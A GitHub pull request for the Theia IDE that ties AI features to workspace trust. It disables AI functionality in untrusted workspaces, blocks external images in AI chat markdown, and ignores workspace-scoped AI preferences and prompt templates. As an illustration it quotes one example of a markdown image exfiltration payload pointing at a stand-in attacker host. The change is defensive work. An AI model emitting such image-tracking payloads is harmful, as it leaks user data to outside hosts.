Skip to content

Hook workspace trust into AI features#17364

Open
jfaltermeier wants to merge 7 commits intomasterfrom
issues/16892_aiWorkspaceTrust
Open

Hook workspace trust into AI features#17364
jfaltermeier wants to merge 7 commits intomasterfrom
issues/16892_aiWorkspaceTrust

Conversation

@jfaltermeier
Copy link
Copy Markdown
Contributor

@jfaltermeier jfaltermeier commented Apr 17, 2026

What it does

Hooks workspace trust into AI features so that all AI functionality is disabled in Restricted Mode, fixes #16892.

  1. The existing AIActivationService.isActive reflects the enableAI preference and controls UI visibility, views, menus, toolbar items, context key. This PR keeps isActive unchanged and adds a new canRun property that reflects isActive && workspaceTrusted. All functional checks, command isEnabled, chat input enablement, inline completion guards, code action guards, now use canRun instead of isActive, while visibility checks stay on isActive.

This results in three states:

  • Preference OFF: AI UI hidden, unchanged
  • Preference ON, trusted: everything works, unchanged
  • Preference ON, untrusted: AI views and menus stay visible but functionality is disabled. Chat shows a trust specific message with a "Manage Workspace Trust" button. Granting trust re enables everything reactively.

Commit 1-3 address this.

  1. Additionally, external image loading in AI chat markdown is blocked in untrusted workspaces. When the workspace is not trusted, <img> elements with external URLs, for example from AI generated markdown like ![](https://evil.com/track?data=...), are replaced with a [External image blocked] placeholder. Images using data: URIs, for example user attached images or tool call results, are always allowed. In trusted workspaces, external images render normally.

The fourth commit addresses image loading.

  1. Finally, workspace scoped AI preferences that can influence AI behavior are ignored in Restricted Mode. This is done narrowly at the relevant read sites via a small TrustAwarePreferenceReader helper. When the workspace is untrusted, get drops workspace and folder values and falls back to the user or default value. Writes continue through the normal PreferenceService.
    The preferences covered in this PR are tool confirmation, ai-features.chat.toolConfirmation, language model aliases, ai-features.modelSettings.languageModelAliases, and agent settings, ai-features.agentSettings. Other AI preferences only affect UX and continue to use PreferenceService unchanged. Additionally, workspace prompt templates, .prompts/*.prompttemplate and configured template directories, files, and extensions, are unloaded in Restricted Mode and reloaded when trust is granted.

The last commit addresses preferences and prompt templates.

How to test

Enable enableAI and security.workspace.trust.enabled, then open a folder and deny trust. Verify that AI views remain visible but functionality is disabled, chat shows an "AI Features are Restricted" message with a "Manage Workspace Trust" button, chat input is disabled, AI commands are greyed out, inline completions and code actions do not trigger, and workspace prompt templates are not loaded. Granting trust should re enable everything immediately, revoking trust should disable it again.

To test external image blocking in isolation, without the canRun gate disabling AI chat entirely, you can temporarily change packages/ai-ide/src/browser/ai-ide-activation-service.ts line 68:

get canRun(): boolean {
    return this.isActive; 
}

To test the trust aware preference wrapper in isolation, apply the same temporary change so AI chat stays functional, then set a workspace scoped override in .theia/settings.json, for example "ai-features.chat.toolConfirmation": { "*": "always_allow" }.

With the workspace untrusted, the effective value seen by AI should still come from user or default, so confirmation prompts should still appear. Granting trust should make the workspace override take effect without a reload, revoking trust should hide it again.

Follow ups

An earlier iteration of this PR tried to introduce a generic AIPreferenceService wrapper around PreferenceService as a facade and rewired all AI packages to inject it.
However there were multiple smaller issues, like with proxies or initialization order, that made me revert this.
For now this PR has only targeted fixes.
As a follow up, it might be worth investigating to add trust aware reads into the core PreferenceService itself, so the behavior is available framework wide and AI code can stop using a dedicated helper.

Breaking changes

  • This PR introduces breaking changes and requires careful review. If yes, the breaking changes section in the changelog has been updated.

Attribution

Contributed on behalf of STMicroelectronics

Review checklist

Reminder for reviewers

* distinguish between preference activation (isActive) and actual AI
enablement, i.e. isActive and additional conditions (canRun)
* include workspace trust in the canRun state and emit change events
for it

Contributed on behalf of STMicroelectronics
* keep AI commands visible when enabled in preferences but disable
execution when workspace is untrusted
* switch chat input, tree widget, and toolbar enablement to react to
canRun/onDidChangeCanRun
* re-register inline completions and code action providers on canRun
changes instead of preference activation alone
* ensure toolbar items re-evaluate isEnabled on trust changes via
additional onDidChangeCanRun listener

Contributed on behalf of STMicroelectronics
@github-project-automation github-project-automation Bot moved this to Waiting on reviewers in PR Backlog Apr 17, 2026
@jfaltermeier jfaltermeier changed the title Issues/16892 ai workspace trust Hook workspace trust into AI features Apr 17, 2026
* add a workspace restriction contribution and restricted-mode welcome
message for AI features
* disable workspace prompt template loading when the workspace is not
trusted

Contributed on behalf of STMicroelectronics
@jfaltermeier jfaltermeier force-pushed the issues/16892_aiWorkspaceTrust branch from 7eec620 to 25b71ef Compare April 17, 2026 11:16
* replace non-data image URLs in chat markdown with a blocked
placeholder when workspace trust is missing
* apply the same trust-based image blocking to question prompts and tool
call markdown output
* extract shared useBlockExternalImages hook for workspace trust state

Contributed on behalf of STMicroelectronics
@jfaltermeier jfaltermeier force-pushed the issues/16892_aiWorkspaceTrust branch from 26f451b to 0d34073 Compare April 17, 2026 13:13
* add AIPreferenceService, a trust-aware PreferenceService wrapper that
hides workspace- and folder-scoped AI preference values when the
workspace is untrusted
* add shared bindXyzPreferences helpers in @theia/ai-core so AI
preference proxies can be wired through AIPreferenceService without
per-package rebind/child-container boilerplate

Contributed on behalf of STMicroelectronics
@jfaltermeier jfaltermeier force-pushed the issues/16892_aiWorkspaceTrust branch from 3510441 to 8b7678c Compare April 20, 2026 09:38
@jfaltermeier jfaltermeier force-pushed the issues/16892_aiWorkspaceTrust branch from 95100fe to ba40a9d Compare April 20, 2026 11:24
* introduce a small helper in @theia/ai-core/lib/browser that reads
  preferences via PreferenceService.inspect and drops workspace/folder
  values when the workspace is untrusted
* use TrustAwarePreferenceReader where AI settings must ignore
  workspace-scoped values in untrusted workspaces

Contributed on behalf of STMicroelectronics
@jfaltermeier jfaltermeier force-pushed the issues/16892_aiWorkspaceTrust branch from ba40a9d to 9813f8a Compare April 20, 2026 11:33
@jfaltermeier jfaltermeier marked this pull request as ready for review April 20, 2026 12:00
@jfaltermeier jfaltermeier requested a review from ndoschek April 20, 2026 12:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Waiting on reviewers

Development

Successfully merging this pull request may close these issues.

Hook workspace trust into AI features

1 participant